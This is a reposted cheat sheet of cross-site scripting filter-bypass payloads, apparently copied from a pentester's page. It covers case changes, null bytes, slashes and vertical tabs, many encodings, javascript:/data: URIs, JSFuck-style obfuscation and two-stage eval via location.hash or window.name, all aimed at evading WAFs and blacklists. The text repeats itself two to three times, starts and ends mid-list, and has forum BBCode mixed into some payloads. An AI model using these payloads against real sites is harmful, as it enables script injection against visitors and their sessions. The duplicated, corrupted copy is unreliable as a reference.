<script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,49,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,48,41,62));</script>
JavaScript (Unicode function and variable names)
<script>alert(123)</script>
<script>\u0061\u006C\u0065\u0072\u0074(123)</script>
Overlong UTF-8 (SiteMinder is awesome!)
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
[quote] = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2[/quote]
<img src="1" onnerror="alert(1)">
%E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2alert(1)%E0%80%A2%E0%80%BE
UTF-7 (Missing charset?)
<img src="1" onerror="alert(1)" />
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
Unicode .NET Ugliness
<script>alert(1)</script>
%uff1cscript%uff1ealert(1)%uff1c/script%uff1e
Classic ASP performs some unicode homoglyphic translations... don't ask why...
<img src="1" onerror="alert('1')">
%u3008img%20src%3D%221%22%20onerror%3D%22alert(%uFF071%uFF07)%22%u232A
Useless and/or Useful features.
HTML 5 (Not comphrensive)
<video src="http://www.w3schools.com/html5/movie.ogg" onloadedmetadata="alert(1)" />
<video src="http://www.w3schools.com/html5/movie.ogg" onloadstart="alert(1)" />
Usuage of non-existent elements (IE)
<blah style="blah:expression(alert(1))" />
CSS Comments (IE)
<div style="z:exp/[i]anything[/i]/res/[i]here[/i]/sion(alert(1))" />
Alternate ways of executing JavaScript functions
<script>window[url=0]'alert'[/url]</script>
<script>parent[url=1]'alert'[/url]</script>
<script>self[url=2]'alert'[/url]</script>
<script>top[url=3]'alert'[/url]</script>
Split up JavaScript into HTML attributes
<img src=1 alt=al lang=ert onerror=top[url=0]alt+lang[/url]>
HTML is parsed before JavaScript
<script>
var junk = '</script><script>alert(1)</script>';
</script>
HTML is parsed before CSS
<style>
body { background-image:url('http://www.blah.com/</style><script>alert(1)</script>'); }
</style>
XSS in XML documents [doctype = text/xml] (Firefox, Chrome, Safari).
<?xml version="1.0" ?>
<someElement>
<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>
</someElement>
URI Schemes
<iframe src="javascript:alert(1)"></iframe>
<iframe src="vbscript:msgbox(1)"></iframe> (IE)
<iframe src="data:text/html,<script>alert(0)</script>"></iframe> (Firefox, Chrome, Safari)
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> (Firefox, Chrome, Safari)
HTTP Parameter Pollution
http://target.com/something.xxx?a=val1&a=val2
ASP.NET a = val1,val2
ASP a = val1,val2
JSP a = val1
PHP a = val2
Two Stage XSS via fragment identifier (bypass length restrictions / avoid server logging)
<script>eval(location.hash.slice(1))</script>
<script>eval(location.hash)</script> (Firefox)
http://target.com/something.jsp?inject=<script>eval(location.hash.slice(1))</script>#alert(1)
Two Stage XSS via name attribute
<iframe src="http://target.com/something.jsp?inject=<script>eval(name)</script>" name="alert(1)"></iframe>
Non-alphanumeric crazyness...
<script>
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();
</script>
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script> 查看全部
_____ _ _ _ __ _______ _____ _____ _ _ _ _
| __ \ | | | | | \ \ / / ___/ ___| / __ \ | | | | | | |
| | \/ |__ ___| |_| |_ ___ \ V /\ `--.\ `--. | / \/ |__ ___ __ _| |_ ___| |__ ___ ___| |_
| | __| '_ \ / _ \ __| __|/ _ \ / \ `--. \`--. \ | | | '_ \ / _ \/ _` | __/ __| '_ \ / _ \/ _ \ __|
| |_\ \ | | | __/ |_| |_| (_) | / /^\ |\__/ /\__/ / | \__/\ | | | __/ (_| | |_\__ \ | | | __/ __/ |_
\____/_| |_|\___|\__|\__|\___/ \/ \|____/\____/ \____/_| |_|\___|\__,_|\__|___/_| |_|\___|\___|\__|
A ghetto collection of XSS payloads that I find to be useful during penetration tests, especially when faced with WAFs or application-based black-list filtering, but feel free to disagree or shoot your AK-74 in the air.
Simple character manipulations.
Note that I use hexadecimal to represent characters that you probably can't type. For example, \x00 equals a null byte, but you'll need to encode this properly depending on the context (URL encoding \x00 = ).
HaRdc0r3 caS3 s3nsit1vITy bYpa55!
<sCrIpt>alert(1)</ScRipt>
<iMg srC=1 lAnGuAGE=VbS oNeRroR=mSgbOx(1)>
Null-byte character between HTML attribute name and equal sign (IE, Safari).
<img src='1' onerror\x00=alert(0) />
Slash character between HTML attribute name and equal sign (IE, Firefox, Chrome, Safari).
<img src='1' onerror/=alert(0) />
Vertical tab between HTML attribute name and equal sign (IE, Safari).
<img src='1' onerror\x0b=alert(0) />
Null-byte character between equal sign and JavaScript code (IE).
<img src='1' onerror=\x00alert(0) />
Null-byte character between characters of HTML attribute names (IE).
<img src='1' o\x00nerr\x00or=alert(0) />
Null-byte character before characters of HTML element names (IE).
<\x00img src='1' onerror=alert(0) />
Null-byte character after characters of HTML element names (IE, Safari).
<script\x00>alert(1)</script>
Null-byte character between characters of HTML element names (IE).
<i\x00mg src='1' onerror=alert(0) />
Use slashes instead of whitespace (IE, Firefox, Chrome, Safari).
<img/src='1'/onerror=alert(0)>
Use vertical tabs instead of whitespace (IE, Safari).
<img\x0bsrc='1'\x0bonerror=alert(0)>
Use quotes instead of whitespace in some situations (Safari).
<img src='1''onerror='alert(0)'>
<img src='1'"onerror="alert(0)">
Use null-bytes instead of whitespaces in some situations (IE).
<img src='1'\x00onerror=alert(0)>
Just don't use spaces (IE, Firefox, Chrome, Safari).
<img src='1'onerror=alert(0)>
Prefix URI schemes.
Firefox (\x09, \x0a, \x0d, \x20)
Chrome (Any character \x01 to \x20)
<iframe src="\x01javascript:alert(0)"></iframe> <!-- Example for Chrome -->
No greater-than characters needed (IE, Firefox, Chrome, Safari).
<img src='1' onerror='alert(0)' <
Extra less-than characters (IE, Firefox, Chrome, Safari).
<<script>alert(0)</script>
Backslash character between expression and opening parenthesis (IE).
<style>body{background-color:expression\(alert(1))}</style>
JavaScript Escaping
<script>document.write('<a hr\ef=j\avas\cript\:a\lert(2)>blah</a>');</script>
Encoding Galore.
HTML Attribute Encoding
<img src="1" onerror="alert(1)" />
<img src="1" onerror="alert(1)" />
<iframe src="javascript:alert(1)"></iframe>
<iframe src="javascript:alert(1)"></iframe>
URL Encoding
<iframe src="javascript:alert(1)"></iframe>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
CSS Hexadecimal Encoding (IE specific examples)
<div style="x:expression(alert(1))">Joker</div>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">Joker</div>
<div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">Joker</div>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">Joker</div>
JavaScript (hexadecimal, octal, and unicode)
<script>document.write('<img src=1 onerror=alert(1)>');</script>
<script>document.write('\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E');</script>
<script>document.write('\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076');</script>
<script>document.write('\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E');</script>
JavaScript (Decimal char codes)
<script>document.write('<img src=1 onerror=alert(1)>');</script>
<script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,49,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,48,41,62));</script>
JavaScript (Unicode function and variable names)
<script>alert(123)</script>
<script>\u0061\u006C\u0065\u0072\u0074(123)</script>
Overlong UTF-8 (SiteMinder is awesome!)
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
[quote] = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2[/quote]
<img src="1" onnerror="alert(1)">
%E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2alert(1)%E0%80%A2%E0%80%BE
UTF-7 (Missing charset?)
<img src="1" onerror="alert(1)" />
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
Unicode .NET Ugliness
<script>alert(1)</script>
%uff1cscript%uff1ealert(1)%uff1c/script%uff1e
Classic ASP performs some unicode homoglyphic translations... don't ask why...
<img src="1" onerror="alert('1')">
%u3008img%20src%3D%221%22%20onerror%3D%22alert(%uFF071%uFF07)%22%u232A
Useless and/or Useful features.
HTML 5 (Not comphrensive)
<video src="http://www.w3schools.com/html5/movie.ogg" onloadedmetadata="alert(1)" />
<video src="http://www.w3schools.com/html5/movie.ogg" onloadstart="alert(1)" />
Usuage of non-existent elements (IE)
<blah style="blah:expression(alert(1))" />
CSS Comments (IE)
<div style="z:exp/[i]anything[/i]/res/[i]here[/i]/sion(alert(1))" />
Alternate ways of executing JavaScript functions
<script>window[url=0]'alert'[/url]</script>
<script>parent[url=1]'alert'[/url]</script>
<script>self[url=2]'alert'[/url]</script>
<script>top[url=3]'alert'[/url]</script>
Split up JavaScript into HTML attributes
<img src=1 alt=al lang=ert onerror=top[url=0]alt+lang[/url]>
HTML is parsed before JavaScript
<script>
var junk = '</script><script>alert(1)</script>';
</script>
HTML is parsed before CSS
<style>
body { background-image:url('http://www.blah.com/</style><script>alert(1)</script>'); }
</style>
XSS in XML documents [doctype = text/xml] (Firefox, Chrome, Safari).
<?xml version="1.0" ?>
<someElement>
<a xmlns:a='http://www.w3.org/1999/xhtml'><a:body onload='alert(1)'/></a>
</someElement>
URI Schemes
<iframe src="javascript:alert(1)"></iframe>
<iframe src="vbscript:msgbox(1)"></iframe> (IE)
<iframe src="data:text/html,<script>alert(0)</script>"></iframe> (Firefox, Chrome, Safari)
<iframe src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></iframe> (Firefox, Chrome, Safari)
HTTP Parameter Pollution
http://target.com/something.xxx?a=val1&a=val2
ASP.NET a = val1,val2
ASP a = val1,val2
JSP a = val1
PHP a = val2
Two Stage XSS via fragment identifier (bypass length restrictions / avoid server logging)
<script>eval(location.hash.slice(1))</script>
<script>eval(location.hash)</script> (Firefox)
http://target.com/something.jsp?inject=<script>eval(location.hash.slice(1))</script>#alert(1)
Two Stage XSS via name attribute
<iframe src="http://target.com/something.jsp?inject=<script>eval(name)</script>" name="alert(1)"></iframe>
Non-alphanumeric crazyness...
<script>
$=~[];$={___:++$,$$$$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$$:({}+"")[$],$$_$:($[$]+"")[$],_$$:++$,$$$_:(!""+"")[$],$__:++$,$_$:++$,$$__:({}+"")[$],$$_:++$,$$$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$$=($.$+"")[$.__$])+((!$)+"")[$._$$]+($.__=$.$_[$.$$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$$=$.$+(!""+"")[$._$$]+$.__+$._+$.$+$.$$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$$+"\""+$.$_$_+(![]+"")[$._$_]+$.$$$_+"\\"+$.__$+$.$$_+$._$_+$.__+"("+$.___+")"+"\"")())();
</script>
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script> 查看全部
转自：d3adend.org/xss/ghettoBypass
挺全的，我认真了下，还可以。
_____ _ _ _ __ _______ _____ _____ _ _ _ _
| __ \ | | | | | \ \ / / ___/ ___| / __ \ | | | | | | |
| | \/ |__ ___| |_| |_ ___ \ V /\ `--.\ `--. | / \/ |__ ___ __ _| |_ ___| |__ ___ ___| |_
| | __| '_ \ / _ \ __| __|/ _ \ / \ `--. \`--. \ | | | '_ \ / _ \/ _` | __/ __| '_ \ / _ \/ _ \ __|
| |_\ \ | | | __/ |_| |_| (_) | / /^\ |\__/ /\__/ / | \__/\ | | | __/ (_| | |_\__ \ | | | __/ __/ |_
\____/_| |_|\___|\__|\__|\___/ \/ \|____/\____/ \____/_| |_|\___|\__,_|\__|___/_| |_|\___|\___|\__|
A ghetto collection of XSS payloads that I find to be useful during penetration tests, especially when faced with WAFs or application-based black-list filtering, but feel free to disagree or shoot your AK-74 in the air.
Simple character manipulations.
Note that I use hexadecimal to represent characters that you probably can't type. For example, \x00 equals a null byte, but you'll need to encode this properly depending on the context (URL encoding \x00 = ).
HaRdc0r3 caS3 s3nsit1vITy bYpa55!
<sCrIpt>alert(1)</ScRipt>
<iMg srC=1 lAnGuAGE=VbS oNeRroR=mSgbOx(1)>
Null-byte character between HTML attribute name and equal sign (IE, Safari).
<img src='1' onerror\x00=alert(0) />
Slash character between HTML attribute name and equal sign (IE, Firefox, Chrome, Safari).
<img src='1' onerror/=alert(0) />
Vertical tab between HTML attribute name and equal sign (IE, Safari).
<img src='1' onerror\x0b=alert(0) />
Null-byte character between equal sign and JavaScript code (IE).
<img src='1' onerror=\x00alert(0) />
Null-byte character between characters of HTML attribute names (IE).
<img src='1' o\x00nerr\x00or=alert(0) />
Null-byte character before characters of HTML element names (IE).
<\x00img src='1' onerror=alert(0) />
Null-byte character after characters of HTML element names (IE, Safari).
<script\x00>alert(1)</script>
Null-byte character between characters of HTML element names (IE).
<i\x00mg src='1' onerror=alert(0) />
Use slashes instead of whitespace (IE, Firefox, Chrome, Safari).
<img/src='1'/onerror=alert(0)>
Use vertical tabs instead of whitespace (IE, Safari).
<img\x0bsrc='1'\x0bonerror=alert(0)>
Use quotes instead of whitespace in some situations (Safari).
<img src='1''onerror='alert(0)'>
<img src='1'"onerror="alert(0)">
Use null-bytes instead of whitespaces in some situations (IE).
<img src='1'\x00onerror=alert(0)>
Just don't use spaces (IE, Firefox, Chrome, Safari).
<img src='1'onerror=alert(0)>
Prefix URI schemes.
Firefox (\x09, \x0a, \x0d, \x20)
Chrome (Any character \x01 to \x20)
<iframe src="\x01javascript:alert(0)"></iframe> <!-- Example for Chrome -->
No greater-than characters needed (IE, Firefox, Chrome, Safari).
<img src='1' onerror='alert(0)' <
Extra less-than characters (IE, Firefox, Chrome, Safari).
<<script>alert(0)</script>
Backslash character between expression and opening parenthesis (IE).
<style>body{background-color:expression\(alert(1))}</style>
JavaScript Escaping
<script>document.write('<a hr\ef=j\avas\cript\:a\lert(2)>blah</a>');</script>
Encoding Galore.
HTML Attribute Encoding
<img src="1" onerror="alert(1)" />
<img src="1" onerror="alert(1)" />
<iframe src="javascript:alert(1)"></iframe>
<iframe src="javascript:alert(1)"></iframe>
URL Encoding
<iframe src="javascript:alert(1)"></iframe>
<iframe src="javascript:%61%6c%65%72%74%28%31%29"></iframe>
CSS Hexadecimal Encoding (IE specific examples)
<div style="x:expression(alert(1))">Joker</div>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e(alert(1))">Joker</div>
<div style="x:\000065\000078\000070\000072\000065\000073\000073\000069\00006f\00006e(alert(1))">Joker</div>
<div style="x:\65\78\70\72\65\73\73\69\6f\6e\028 alert \028 1 \029 \029">Joker</div>
JavaScript (hexadecimal, octal, and unicode)
<script>document.write('<img src=1 onerror=alert(1)>');</script>
<script>document.write('\x3C\x69\x6D\x67\x20\x73\x72\x63\x3D\x31\x20\x6F\x6E\x65\x72\x72\x6F\x72\x3D\x61\x6C\x65\x72\x74\x28\x31\x29\x3E');</script>
<script>document.write('\074\151\155\147\040\163\162\143\075\061\040\157\156\145\162\162\157\162\075\141\154\145\162\164\050\061\051\076');</script>
<script>document.write('\u003C\u0069\u006D\u0067\u0020\u0073\u0072\u0063\u003D\u0031\u0020\u006F\u006E\u0065\u0072\u0072\u006F\u0072\u003D\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003E');</script>
JavaScript (Decimal char codes)
<script>document.write('<img src=1 onerror=alert(1)>');</script>
<script>document.write(String.fromCharCode(60,105,109,103,32,115,114,99,61,49,32,111,110,101,114,114,111,114,61,97,108,101,114,116,40,48,41,62));</script>
JavaScript (Unicode function and variable names)
<script>alert(123)</script>
<script>\u0061\u006C\u0065\u0072\u0074(123)</script>
Overlong UTF-8 (SiteMinder is awesome!)
< = %C0%BC = %E0%80%BC = %F0%80%80%BC
[quote] = %C0%BE = %E0%80%BE = %F0%80%80%BE
' = %C0%A7 = %E0%80%A7 = %F0%80%80%A7
" = %C0%A2 = %E0%80%A2 = %F0%80%80%A2[/quote]
<img src="1" onnerror="alert(1)">
%E0%80%BCimg%20src%3D%E0%80%A21%E0%80%A2%20onerror%3D%E0%80%A2alert(1)%E0%80%A2%E0%80%BE
UTF-7 (Missing charset?)
<img src="1" onerror="alert(1)" />
+ADw-img src=+ACI-1+ACI- onerror=+ACI-alert(1)+ACI- /+AD4-
Unicode .NET Ugliness
<script>alert(1)</script>
%uff1cscript%uff1ealert(1)%uff1c/script%uff1e
Classic ASP performs some unicode homoglyphic translations... don't ask why...
<img src="1" onerror="alert('1')">
%u3008img%20src%3D%221%22%20onerror%3D%22alert(%uFF071%uFF07)%22%u232A
Useless and/or Useful features.
HTML 5 (Not comphrensive)
<video src="http://www.w3schools.com/html5/movie.ogg" onloadedmetadata="alert(1)" />
<video src="http://www.w3schools.com/html5/movie.ogg" onloadstart="alert(1)" />
Usuage of non-existent elements (IE)
<blah style="blah:expression(alert(1))" />
CSS Comments (IE)
<div style="z:exp/[i]anything[/i]/res/[i]here[/i]/sion(alert(1))" />
Alternate ways of executing JavaScript functions
<script>window[url=0]'alert'[/url]</script>
<script>parent[url=1]'alert'[/url]</script>
<script>self[url=2]'alert'[/url]</script>
<script>top[url=3]'alert'[/url]</script>
Split up JavaScript into HTML attributes
<img src=1 alt=al lang=ert onerror=top[url=0]alt+lang[/url]>
HTML is parsed before JavaScript
<script>
var junk = '</script><script>alert(1)</script>';
</script>
HTML is parsed before CSS
<style>
